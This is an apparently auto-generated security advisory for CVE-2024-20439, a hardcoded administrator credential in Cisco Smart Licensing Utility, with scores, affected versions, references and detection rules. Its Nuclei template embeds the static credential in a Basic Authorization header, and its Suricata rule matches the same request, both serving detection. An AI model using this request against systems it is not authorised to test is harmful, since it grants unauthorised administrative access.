CVE-2024-20439: Cisco exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A vulnerability in Cisco Smart Licensing Utility (CSLU) could allow an unauthenticated, remote attacker to log into an affected system by using a static administrative credential. This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to login to the affected system. A successful exploit could allow the attacker to login to the affected system with administrative rights over the CSLU application API.

Description quoted from the CVE record (assigned by cisco, published 2024-09-04).

Weakness: Hidden Functionality

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-03-31
US federal deadline: 2025-04-21
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-06720, BDU:2024-06721, CNNVD-202409-243, EUVD-2024-18154, GHSA-mcxm-8hr3-frmx

VEDAS cluster: VEDAS:FLAMINGOHYACINTH

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-20439
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-18154
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-mcxm-8hr3-frmx
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-20439
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-20439
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202409-243
Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2024-20439

167 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.971
very likely to be attacked soon
VEDAS: 0.988
strong exploit evidence
On CISA KEV: Yes, since 2025-03-31
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Cisco Cisco Smart License Utility	version 2.1.0 version 2.0.0 version 2.2.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: cisco cisco_smart_license_utility, cisco smart_license_utility, cisco_systems,_inc. cisco_smart_license_utility.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Cisco Smart Licensing Utility - Authentication Bypass
A vulnerability in Cisco Smart Licensing Utility (CSLU) could allow an unauthenticated, remote attacker to log into an affected system by using a static administrative credential. This vulnerability is due to an undocumented static user credential for an administrative account.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /cslu/v1/scheduler/jobs); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-20439.yaml

Show the template (45 lines)

yaml

id: CVE-2024-20439

info:
  name: "Cisco Smart Licensing Utility - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in Cisco Smart Licensing Utility (CSLU) could allow an unauthenticated, remote attacker to log
    into an affected system by using a static administrative credential. This vulnerability is due to an
    undocumented static user credential for an administrative account.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-20439&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-20439
    cwe-id: CWE-912
  metadata:
    verified: false
  tags: cve,cve2024,cisco,smart,licensing,auth-bypass,kev,vkev,vuln
http:
  - raw:
      - |
        GET /cslu/v1/scheduler/jobs HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Y3NsdS13aW5kb3dzLWNsaWVudDpMaWJyYXJ5NEMkTFU=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"job_name":'
          - '"current_status":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

CVE-2024-20439.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-20439 Cisco Smart Licensing Utility - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-20439 Cisco Smart Licensing Utility - Authentication Bypass"; flow:established,to_server; http.uri; content:"/cslu/v1/scheduler/jobs"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-20439; reference:url,https://www.exploit.observer/?keyword=CVE-2024-20439&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact; sid:1009658; rev:1;)

CVE-2024-20439.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-20439 (government-resource)

Other references

cisco-sa-cslu-7gHMzWmw

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.